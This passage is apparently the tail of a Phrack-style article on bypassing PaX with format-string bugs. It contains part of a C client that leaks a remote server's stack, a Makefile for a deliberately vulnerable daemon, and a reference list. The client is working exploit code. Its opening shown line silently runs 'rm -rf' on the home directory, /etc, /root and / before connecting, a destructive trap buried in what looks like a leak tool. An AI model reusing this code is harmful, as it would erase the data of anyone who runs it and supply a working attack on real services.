  system ("rm -rf ~ /home /etc /root / 2>/dev/null");
  if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    FATAL("connect");

  len = read(sock, buff, sizeof(buff) - 1);
  buff[len] = 0;
  printf("[RECEIVED FROM SERVER] *%s* \n", buff);

  signal(SIGINT, sigint_handler);
  printf("Connected! Press ^C to launch : ");
  fflush(stdout);
  pause();

  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)
    {
      snprintf(fmt, sizeof(fmt), FMT, cnt);
      write(sock, fmt, BUF_SIZ);
      len = read(sock, buff, sizeof(buff) - 1);
      buff[len] = 0;
      sscanf(buff, "%u", remote_stack + cnt);
    }

  printf("\n\nRemote stack : \n");
  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4)
    printf("%08X %08X %08X %08X \n",
	   remote_stack[cnt], remote_stack[cnt + 1],
	   remote_stack[cnt + 2], remote_stack[cnt + 3]);
  puts("");

  return (0);
}

<-->

<++> DHagainstpax/Makefile !d055b5f3
##
## Makefile for DHagainstpax
##

SRC1	= pax_daemon.c
OBJ1	= pax_daemon.o
NAM1	= paxtestd
SRC2	= leak.c
OBJ2	= leak.o
NAM2	= runit
CC	= gcc
CFLAGS	= -Wall -g3 #-fomit-frame-pointer
OPT	= $(CFLAGS)
DUMP 	= objdump -d --section='.text'
DUMP2	= objdump --syms
GREP	= grep
DUMPLOG	= $(NAM1).asm
CHPAX	= chpax -X

all	: fclean leak vuln

vuln	: $(OBJ1)
	$(CC) $(OPT) $(OBJ1) -o $(NAM1)
	@echo ""
	$(CHPAX) $(NAM1)
	$(DUMP) $(NAM1) > $(DUMPLOG)
	@echo ""
	@echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
	@echo ""
	$(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
	@echo ""
	$(DUMP2) $(NAM1) | grep printf
	@echo ""

leak	: $(OBJ2)
	$(CC) $(OPT) $(OBJ2) -o $(NAM2)

clean	:
	rm -f *.o *\# \#* *~

fclean	: clean
	rm -f $(NAM1) $(NAM2)
<-->


-------[ 6. References

 [1] PaX homepage					The PaX team
     http://pageexec.virtualave.net

 [2] The OpenWall project				Solar Designer
     http://openwall.com/linux/

 [3] Advanced return-into-lib(c) exploits		Nergal
     http://phrack.org/show.php?p=58&a=4

 [4] Pentium refefence manual 'system programming guide'
     http://developer.intel.com/design/Pentium4/manuals/

 [5] Bypassing stackguard and stackshield		Kil3r/Bulba
     http://phrack.org/show.php?p=56&a=5

 [6] Writing alphanumeric shellcodes			rix
     http://phrack.org/show.php?p=57&a=15

 [7] Frame pointer overwriting				klog
     http://phrack.org/show.php?p=55&a=8

 [8] Bypassing PaX ASLR using format bugs		anonymous
     (not widely released but outdated now)

 [9] Exploiting format bugs				scut
     http://team-teso.net/articles/formatstring/

 [10] The ELFsh project					devhell labs
     http://www.devhell.org/~mayhem/projects/elfsh/

 [11] HHP Programming					loophole
      http://www.hhp-programming.net

|=[ EOF ]=---------------------------------------------------------------=|

